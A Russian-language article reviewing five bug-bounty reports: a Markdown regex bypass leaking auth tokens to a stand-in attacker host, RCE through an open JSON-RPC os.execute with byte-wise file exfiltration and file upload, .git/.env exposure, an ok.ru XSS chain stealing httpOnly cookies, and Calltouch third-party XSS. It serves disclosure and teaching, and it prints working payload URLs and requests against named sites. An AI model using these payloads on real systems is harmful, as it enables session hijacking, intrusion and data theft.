Топ-5 уязвимостей со Standoff 365

Иногда баги не просто находят — ими делятся. В представленных ниже отчетах — все, что мы любим в уязвимостях: XSS с обходом httpOnly, RCE через JSON-RPC, утечка кода из .git/, угнанная через Markdown сессия и 3rd party XSS на сайтах клиентов.

Кейсы показывают, как из небольшого упущения вырастает полноценный риск и почему технические детали имеют значение.

Session hijacking через Markdown: когда картинки — это слишком

Компания: Standoff 365

Автор: byq

Отчет

На платформе Standoff 365 исследователь byq обнаружил критическую уязвимость, позволяющую перехватывать пользовательские сессии через механизм загрузки изображений в Markdown. Звучит как анекдот: «добавили картинки в редактор — потеряли контроль над авторизацией». Но уязвимость оказалась настолько явной и показательной, что точно достойна разбора.

Контекст: Markdown как точка входа

Функциональность рендеринга изображений в Markdown давно не новость. В случае Standoff 365 предполагалось, что изображения можно будет загружать только с одного доверенного хоста — https://api.standoff365.com. Соответствующая проверка действительно была реализована в коде, однако оказалась недостаточно надежной.

Речь идет о следующем фрагменте:

if (d = t.properties.src, u !== Hc.NotFound && !new RegExp('^'.concat((0, p.VY) (), '.+')).test(d)) {
 e.next = 14;
 break;
}

Здесь (0, p.VY)() — это строка с базовым разрешенным URL, то есть https://api.standoff365.com. Проблема в том, что регулярное выражение 'https://api.standoff365.com.+' пропускает не только этот домен, но и все, что на него похоже. Например, https://api.standoff365.com.evil.com/image.png. Такой URL технически указывает на совсем другой сервер — evil.com, но регулярка успешно его пропускает, потому что строка действительно начинается с нужного префикса. Уязвимость вполне классическая, однако в данном случае последствия выходят за рамки обычного SSRF или подмены контента.

Механика атаки

Самое интересное начинается в момент загрузки изображения. Вместо того, чтобы оставить рендеринг браузеру, клиентская часть приложения самостоятельно отправляет HTTP-запрос за изображением, при этом добавляя заголовок Authorization с сессионным токеном пользователя. Однако механизм не учитывает возможности подмены хоста.

Если атакующий вставит в Markdown ссылку на подставной адрес (например,  ), то приложение выполнит запрос к attacker.tld, добавив к нему заголовок Authorization: Bearer ..., где будет живой токен пользователя, открывшего страницу. С этого момента его сессия находится в полном распоряжении злоумышленника.

Важно подчеркнуть, что эта атака не требует участия пользователя: жертве достаточно всего один раз открыть страницу с вредоносным Markdown.

Почему это серьезно

С точки зрения импакта ситуация близка к полной компрометации учетной записи. Получив токен, атакующий может выполнять любые действия от имени жертвы — например, читать и писать комментарии, а возможно, и действовать от лица администраторов платформы. Все зависит от уровня привилегий пользователя, сессия которого была скомпрометирована.

При этом уязвимость эксплуатируется легко, а порог входа минимальный: Markdown поддерживается в комментариях, профилях, описаниях. Достаточно разместить вредоносную ссылку в публичном сообщении — и кто-нибудь из доверчивых (или просто любопытных) юзеров с большой вероятностью откроет ее. Дальше — дело техники.

Что пошло не так

Ошибку можно отнести к разряду архитектурных: корень проблемы — в неправильной модели доверия. Регулярные выражения никогда не были надежным способом проверки источника URL, особенно когда речь идет о контроле доступа. В подобной ситуации безопаснее парсить URL через нативные средства (URL.hostname) и строго проверять хосты.

Вторая ошибка в том, что в процессе загрузки изображения происходит автоматическая отправка токена авторизации. Он должен передаваться только в запросах, инициируемых пользователем, — например, при открытии приватных документов, а не при ленивом рендеринге Markdown.

Сюда же можно добавить и общее отсутствие защиты от загрузки внешнего контента. Например, если CSP реализовано на уровне best-effort.

Итог

Сессия — это единица доверия в любой современной веб-платформе. Потеря контроля над токеном авторизации эквивалентна потере идентичности пользователя. В данном случае все свелось к одной строке с регулярным выражением — и в результате к цепочке последствий, ведущих к полной компрометации.

Пример с Markdown в Standoff365 также наглядно демонстрирует, как важно не смешивать логику визуального рендеринга с логикой безопасности. Отображение изображений не должно влечь за собой побочные эффекты вроде отправки аутентификационных данных. В противном случае даже самая безобидная функция может обернуться критическим вектором атаки.

Вывод: проверяйте свои регулярки. И не доверяйте картинкам.

RCE через JSON-RPC: когда API без верификации открывает весь сервер

Компания: VK

Автор: cutoffurmind

Отчет

В этом отчете исследователь описывает критическую уязвимость удаленного выполнения кода (RCE — remote code execution) в сервисе VK, размещенном на поддомене *.org. В фокусе — открытый JSON-RPC API, раздающий полномочия без проверок. Источник проблемы — модуль, доступный на GitHub, использующий os.execute в Lua без какой-либо авторизации, whitelisting или sandboxing.

Контекст: JSON-RPC, Lua и доверие

Исследуемый сервис предоставляет HTTP-интерфейс, реализующий JSON-RPC. Это популярный формат вызова удаленных процедур, который часто используется в микросервисах, встраиваемых системах и даже веб-фреймворках. Проблема возникает, когда принимаемый JSON с методом "os.execute" просто исполняется сервером.

Пример запроса:

POST /##### HTTP/1.1
Host: #####.#####.org
Content-Type: application/x-www-form-urlencoded
{"method":"os.execute","params":["exit 1"],"id":1}

Ответ сервера:

{"id":1,"result":[[256]]}

Сервер без лишних вопросов выполняет команду shell и возвращает exit-код. Это уже RCE. Все, что остается, — построить полезную цепочку действий.

Механика атаки

Так как os.execute возвращает только exit-код (а не stdout), исследователь показывает изящный прием: оборачивает команду в dd с последующим exit $(printf ...), тем самым кодируя байт в код возврата.

Функция get_byte в скрипте ниже позволяет читать произвольные файлы побайтно, с нужной точностью:

char=$(dd if={file_name} bs=1 skip={offset} count=1 2>/dev/null); exit $(printf '%d' \"'$char'\")

Выходной код становится ASCII-кодом символа, и достаточно запросить байт за байтом, чтобы восстановить текст. Да, медленно. Но зато это работает даже в полностью заглушенной среде без stdout.

Таким образом, атакующий может побайтно читать ls -la > /tmp/test и затем запросами извлекать содержимое /tmp/test. В отчете исследователь подтверждает, что ему удалось заполучить файлы, имена их владельцев и, что особенно важно, файлы, принадлежащие root.

Эксплуатация: загрузка произвольных файлов на сервер

Уязвимость позволяет не только читать. Так как доступна полная командная строка, исследователь также демонстрирует возможность передавать бинарные файлы на сервер, используя:

1. локальное кодирование файла в base64;
2. отправку кусков по 4096 байт с помощью echo | base64 -d | dd of=... seek=... conv=notrunc.

echo "c2hlbGwgc2NyaXB0Cg==" | base64 -d | dd of=/tmp/hello.sh bs=1 seek=0 conv=notrunc

Такой подход позволяет «собрать» на сервере любой бинарник из частей. Автор отчета в демонстрации загружает nmap в /tmp, что позволяет вызывать nmap как локальный исполняемый файл.

Почему это серьезно

Все, что нужно для атаки, — один HTTP POST с JSON. Без ключей, токенов или валидации вызываемых методов. Можно выполнить cat /etc/passwd, установить реверс-шелл, перебрать доступные сокеты и вытащить токены из окружения.

Иными словами, это не просто RCE — это RCE по умолчанию, с нулевым барьером входа. Дополнительный импакт:

• доступ к файловой системе (чтение, запись);
• потенциальная эскалация привилегий (зависит от конфигурации);
• установка backdoor;
• нарушение целостности и конфиденциальности данных.

Если на сервере расположен продакшн-инстанс, даже временная эксплуатация может привести к серьезному ущербу. При наличии утечек (например, через публичные error logs или archive.org) угроза становится персистентной.

Что пошло не так

Классическая ошибка в дизайне API: все возможные методы доступны всем желающим, без контроля. Вызов os.execute с параметрами напрямую из POST-запроса — это эквивалент тому, как если бы веб-приложение обрабатывало user input через eval() без фильтрации.

Абсолютно недопустимо, особенно в публично доступном сервисе. Даже если RPC задумывался как внутренний инструмент или отладочный интерфейс, он должен быть защищен — как минимум через ограничение IP, базовую аутентификацию или отключение неиспользуемых методов.

Итог

Уязвимости уровня «голый RCE» встречаются все реже, но каждый раз заставляют задуматься о доверии по умолчанию, особенно в решениях open source. Отчет подчеркивает важность базовой гигиены: никакой динамической интерпретации пользовательских данных без жесткой фильтрации, whitelisting и sandboxing.

Этот случай — напоминание о том, что нельзя оставлять даже удобные debug-интерфейсы открытыми, если вы не хотите, чтобы кто-нибудь поставил вам nmap и начал сканировать вашу инфраструктуру прямо изнутри.

Ошибки простые — последствия критические. Если вы увидели в описании что-то знакомое, пересмотрите свою архитектуру API. Пока не поздно.

Git в открытом доступе: как уязвимый vhost на subdomain выдал весь исходник

Компания: «Самокат»

Автор: BlackFan

Отчет

Промосервис на поддомене крупного ритейлера оказался уязвим для одной из самых старых и, казалось бы, тривиальных проблем: доступ к .git/ директории и исходному коду через неверно настроенный виртуальный хост. Подобный баг уровня «начинающий devops» вполне может привести к полному сливу проекта с чувствительными артефактами и функциональными секретами.

В отчете подробно показано, как обойти стандартную изоляцию веб-приложений и вытащить исходный код сразу нескольких сервисов. При этом речь идет не только о раскрытии структуры, но и о доступе к файлам .env, .gitlab-ci.yml и .vue-компонентам с логикой генерации промокодов.

Контекст и механика атаки: ошибка в настройке виртуальных хостов (vhost)

На сервере размещено несколько приложений, для каждого есть свой путь:

Приложение                     Путь
localhost                      /var/www/html/
game.samokat.ru                /var/www/html/game.samokat.ru/
samokat                        /var/www/html/samokat/
api.game.samokat.ru            /var/www/samokat/

Однако при обращении к серверу по IP или с заголовком Host: localhost он (скорее всего, nginx или Apache) по умолчанию отрабатывает стандартный vhost и возвращает файлы из корня /var/www/html/.

Это открывает доступ к подкаталогам, включая: 

• /game.samokat.ru/.git/,
• /samokat/.git/,
• /game.samokat.ru/src/views/,
• /game.samokat.ru/.env.

Один запрос — и у злоумышленника в руках .git/index и Promocode1.vue.

Пример запроса:

GET /game.samokat.ru/.git/index HTTP/1.1
Host: localhost

Да, так просто.

Почему это серьезно

1. Полный доступ к .git

Доступ к директории .git/ — это почти всегда эквивалент доступа ко всему репозиторию. Даже если не удается сразу вытащить HEAD и objects, .git/index уже раскрывает структуру проекта и список всех отслеживаемых файлов. А если объекты доступны, весь исходник можно восстановить за минуту.

2. Доступ к конфигурационным файлам

Файл .env может содержать:

• API-ключи;
• пароли к базам данных;
• секреты для подписи JWT;
• токены от сторонних сервисов.

В промоприложениях, которые часто разрабатывают на коленке за пару спринтов, никто особо не парится над ревоком таких токенов. А это означает, что доступ к .env может дать ключи и к внешним сервисам компании.

3. Промокоды в исходнике

Особый бонус: в открытых .vue-файлах, расположенных в src/views/Promocode1.vue, исследователь нашел логику генерации или валидации промокодов. Даже если не удалось вытащить сами коды, изучив алгоритм, можно начать подбор, составить рабочие цепочки или эксплуатировать предсказуемость шаблона.

Если система выдачи промокодов интегрирована с основной платформой, это уже не просто проблема приватности, а фактический убыток для бизнеса.

Почему так бывает

• Временные dev-серверы забывают закрыть.
• Отдельные подрядчики поднимают staging-окружение на продовой машине.
• Инженеры считают, что .git/ по умолчанию защищена.

Чаще всего подобный баг возникает в проектах, где нет выделенного devops-инженера, а деплой идет через SCP и pm2 restart.

Что надо было сделать

• Настроить отдельные vhost’ы с root внутри каждой папки, не допуская доступа к родительским директориям.
• Добавить запрет доступа к .git, .env, .gitlab-ci.yml, .htaccess, .htpasswd, .DS_Store и другим «техническим» артефактам — стандартно через location-блоки или FilesMatch.
• Запретить обработку запросов с заголовком Host: localhost для внешних соединений.
• В идеале — разнести приложения по разным контейнерам или хотя бы chroot’ам.

Итог

Это не zero-day и не RCE, но импакт здесь прямолинейный и неприятный: исходный код, CI-конфигурации, секреты — все в открытом виде. Причем все это произошло из-за одной строчки в конфиге веб-сервера и отсутствия политики деплоя. Учитывая, что проект делали подрядчики и он не относится к основной инфраструктуре, ситуацию можно назвать типичной (но не менее опасной).

Если вы разворачиваете временное промоприложение, оно все равно должно быть безопасным (и не только потому, что временное часто живет годами). Любая уязвимость на поддомене с вашим брендом — это ваша проблема.

Когда XSS — это только полдела

Компания: «Одноклассники»

Автор: BlackFan, bratka

Отчет

Исследователи показали рабочую связку: уязвимость в одном из JS-компонентов, позволяющая выполнить произвольный скрипт, и ошибка в разборе cookie со стороны backend, благодаря которой можно обмануть сервер и заставить его «поделиться» сессионными токенами, несмотря на httpOnly.

Этот баг — редкий зверь. В эпоху строгих политик браузеров и автоматической защиты сессионных cookie от JavaScript атаки на httpOnly-куки уже давно считаются чем-то из прошлого. Но, как показывает отчет, если веб-сервер неправильно парсит заголовки, можно вытащить даже то, что вытаскивать нельзя. А если еще и XSS есть, все складывается в идеальный шторм.

Уязвимость № 1: XSS через st.elId в календаре событий

Начнем с первого компонента атаки. На странице /dk?st.cmd=eventsCalendar некорректно обрабатывается параметр st.elId. Если в него передать строку, содержащую JavaScript-пейлоад, она будет вставлена в ответ без экранирования — прямиком в вызов setState().

Пример запроса:

https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-alert(document.domain)-%27

Фрагмент ответа сервера:

require(['OK/AddHolidayPopup'], function(p){p.setState(''-alert(document.domain)-'', 'not-added');});

Как видим, классическое alert(document.domain) срабатывает без дополнительных действий, прямо на основном домене. Баг банальный, но стабильный. И он дает исполнение кода в полном контексте страницы.

Уязвимость № 2: некорректный парсинг cookie сервером

Вторая половина атаки куда интереснее. Суть в том, что сайт неправильно обрабатывает заголовок Cookie, если в значениях присутствуют двойные кавычки.

Пример:

Cookie: param1="value1; secret=value; param2=value2";

Браузер интерпретирует это как три отдельных cookie: param1, secret, param2. А сервер — как один параметр param1 со значением "value1; secret=value; param2=value2", то есть все куки между param1 и param2 будут находиться в param1. Возникает расхождение в восприятии. 

Таким образом, сервер можно обмануть, подсунув httpOnly cookie в значение куки, которую мы создадим через первую уязвимость, и получить ее обратно через любой механизм, выводящий cookie на страницу. В данном случае — через GET-запрос /dk?st.cmd=anonymMain. Однако для эксплуатации потребуется немного удачи, чтобы нужные авторизационные куки находились между нашими. 

Механика атаки

Исследователи показали, как при помощи XSS выполнить последовательность, в которой:

1. Устанавливаются поддельные cookie с некорректными значениями.
2. Выполняется запрос к странице /dk?st.cmd=anonymMain, где сервер включает куки в HTML-ответ.
3. С помощью fetch() загружается страница.
4. С помощью регулярки извлекается содержимое чувствительного атрибута, содержащего в том числе JSESSIONID или AUTH_TOKEN.

Рабочий payload выглядит так:

https://ok.ru/dk?st.cmd=eventsCalendar&st.elId=%27-(document.cookie='vdt=;path=/dk;',document.cookie='cookieChoice=;domain=.ok.ru;',document.cookie='_statid="BEGIN;path=/dk;',document.cookie='ZEND=END";',fetch('/dk?st.cmd=anonymMain').then(r=>r.text()).then(r=>alert(r.match(/data-search-params-to-send=".*?"/))))-%27

Обратите внимание: document.cookie используется только для создания новых значений — не для чтения. Именно сервер возвращает нужные данные в HTML, и в этом суть всей конструкции.

Что можно украсть

Если все сработает, атакующий получит в руки:

• JSESSIONID или AUTH_TOKEN;
• httpOnly cookie, зависящие от конфигурации сервера;
• данные, связанные с CSRF-токенами или профилями пользователей.

Эксплойт может выполняться без дополнительных взаимодействий — достаточно просто отправить жертве ссылку.

Почему это серьезно

• Риск XSS — хотя импакт часто ограничен вызовом alert, при определенных обстоятельствах можно добиться захвата сессии.
• Сложность атаки ограничивается только навыками социальной инженерии и базой пользователей для рассылки пейлоада.
• Атака происходит в полном контексте основного домена — никакие iframe, поддомены или межсайтовые фокусы не требуются.

Серьезность бага понятна: успешная эксплуатация равнозначна угону сессии. А если речь идет о привилегированном аккаунте (модератор, сотрудник поддержки, админ), последствия очевидны.

Как защититься

• Закрыть XSS: санитизировать пользовательский ввод в параметре st.elId.
• Минимизировать вывод значений чувствительных заголовков и токенов в HTML.

Вывод

Отчет описывает не просто XSS или проблему на уровне конфигурации. Это демонстрация того, как несколько нефатальных багов могут сложиться в фатальную связку. Если в вашей системе XSS «вроде бы ничего не делает», а cookie «все равно httpOnly», подумайте дважды. Веб стал сложнее. Уязвимости — тоже.

XSS как сервис

Компания: Positive Technologies

Автор: BlackFan 

Отчет

В современном вебе уязвимости приходят не только из собственного кода. Особенно больно, когда уязвим не просто npm-пакет или плагин, а провайдер внешней аналитики, который встраивается на сотни сайтов через script src=.... 

Этот баг показывает, как можно было добиться XSS на www.ptsecurity.com (и у любого другого клиента Calltouch), просто манипулируя cookie и параметрами вызова внешнего скрипта. 

Контекст: как аналитика Calltouch стала вектором атаки на сайты клиентов

Calltouch — это аналитическая платформа, которая встраивается на сайт клиента через JS-скрипт и оперирует уникальными ID пользователей, передаваемыми через cookie _ct_client_global_id. Чтобы идентификаторы работали корректно между поддоменами и при переходе с рекламы, Calltouch использует свой поддомен mod.calltouch.ru и сервис global_cookie.php, который отвечает за установку, чтение и обновление cookie.

Исследователь BlackFan нашел уязвимость XSS, которая (в сочетании с особенностями PHP и обработки cookie) позволила внедрять произвольный JavaScript в контекст любого сайта, который использует скрипты Calltouch. В нашем случае — ptsecurity.com.

Механика атаки

Этап 1. Установка «вредной» cookie

Поскольку cookie _ct_client_global_id установлена с флагом Secure, она может передаваться только в HTTPS-контексте. 

Если пройти по ссылке 

http://mod.calltouch.ru/global_cookie.php?ctClientGlobalId<script>document.cookie="_ct[client_global_id=;domain=.calltouch.ru;path=/global_cookie.php;"</script> , 

сайт откроется по HTTP, чтобы сценарий global_cookie.php не получил существующее значение cookie _ct_client_global_id.

Цель злоумышленника — создать новую cookie с именем _ct[client_global_id, которая в браузере будет видна отдельно от _ct_client_global_id. Однако в PHP скобка [ будет интерпретирована как _, и обе cookie сольются в одну переменную. А браузер, в свою очередь, отдаст _ct[client_global_id раньше настоящей cookie, потому что она установлена позже.

Таким образом, global_cookie.php видит только вредоносную версию и считает ее валидной.

Этап 2. Подмена значения cookie через параметр GET

Теперь, когда настоящая cookie замаскирована, жертва открывает ссылку

https://mod.calltouch.ru/global_cookie.php?ctClientGlobalId=xxx&ctObject='-alert(document.domain)-'.

Сервер не видит _ct_client_global_id и считывает значение из параметра ctClientGlobalId. Поскольку ctObject передан, он тоже сохраняется.

Этап 3. Передача вредоносной cookie на целевой сайт

Затем жертва открывает обычную страницу сайта, например https://www.ptsecurity.com/ru-ru/. И вот тут все становится по-настоящему интересно. Сайт ptsecurity.com загружает скрипт Calltouch (d_client_new.js), который обращается к mod.calltouch.ru/global_cookie.php, чтобы актуализировать ID. Но из-за ранее установленной вредоносной cookie сервер возвращает ее значение — xxx&ctObject='-alert(document.domain)-'.

Этап 4. XSS через HTTP Parameter Pollution

Теперь, когда ptsecurity.com загружает d_client_new.js, в запросе к скрипту есть фрагмент:

ctClientGlobalId=xxx&ctObject='-alert(document.domain)-'

Если параметр ctObject также используется в логике скрипта и не защищен от переопределения, мы получаем HTTP Parameter Pollution, при котором значение ctObject берется из URL, а не из доверенного источника.

В результате генерируется код:

if (window[''-alert(document.domain)-''] && typeof window[''-alert(document.domain)-''] === 'function') {

И он выполняется в контексте ptsecurity.com. То есть XSS произошла без инъекции на целевом сайте. Все, что нужно, — загрузка скрипта аналитики, которая сама внедряет исполняемый JS на основе данных, хранящихся в cookie и переданных параметрах.

Особенности

• Secure-флаг на cookie не защищает их от путаницы в cookie-именах.
• Скрипт аналитики, по сути, становится вектором XSS на всех сайтах, где он используется.

Почему это серьезно

1. Атака кросс-доменная — эксплуатируется уязвимость на одном домене (calltouch.ru), результат — выполнение кода на другом (ptsecurity.com).
2. Масштабируемость — каждый сайт, использующий Calltouch, потенциально уязвим.
3. Устойчивость XSS — зловредная cookie сохраняется в браузере и приводит к XSS при каждом визите.
4. Невидимость — с точки зрения целевого сайта ничего подозрительного не происходит: он просто грузит внешний скрипт.

Что пошло не так

• Отсутствие санитизации вызывает XSS на Calltouch.
• Разная интерпретация символов позволяет подменить куки и выполнить XSS в пределах целевого домена.

Как защититься

• Клиентам: не загружать внешние скрипты без проверки источника и валидации данных.
• Провайдерам: отказаться от параметров, управляемых через URL без авторизации, особенно если они влияют на поведение JS.
• Разработчикам: не вставлять значения из cookie напрямую в window[...] или eval-похожие конструкции.
• Всем: отказаться от логики, основанной на ctObject, если она может переопределяться через URL.

Заключение

Этот баг — пример того, как доверие к внешним компонентам может привести к компрометации внутреннего контекста. Встроили аналитический скрипт — и у вас XSS, хотя вы сами ни строчки небезопасного кода не писали.

Интеграция = доверие. А доверие, как мы знаем, надо зарабатывать. Или хотя бы фильтровать.

***

Все рассмотренные кейсы — напоминание о том, что безопасность не начинается с файрвола и не заканчивается на нем. XSS — не обязательно тривиальная уязвимость, RCE не всегда требует загрузки эксплойта, а .git/ в проде — это не «оплошность стажера», а реальная угроза.

Во многих ситуациях уязвимость возникает не из-за технической ошибки, а из-за разрыва в моделях доверия: между клиентом и бэкендом, между первой и третьей сторонами, между приложением и инфраструктурой. И такие ошибки не ловятся сканерами.

Важно не просто латать дыры, а понимать контекст. Кто, зачем и как может использовать баг и какие системные предпосылки позволили ему появиться. Именно этот взгляд отличает безопасный продукт от продукта, у которого просто «нет открытых портов».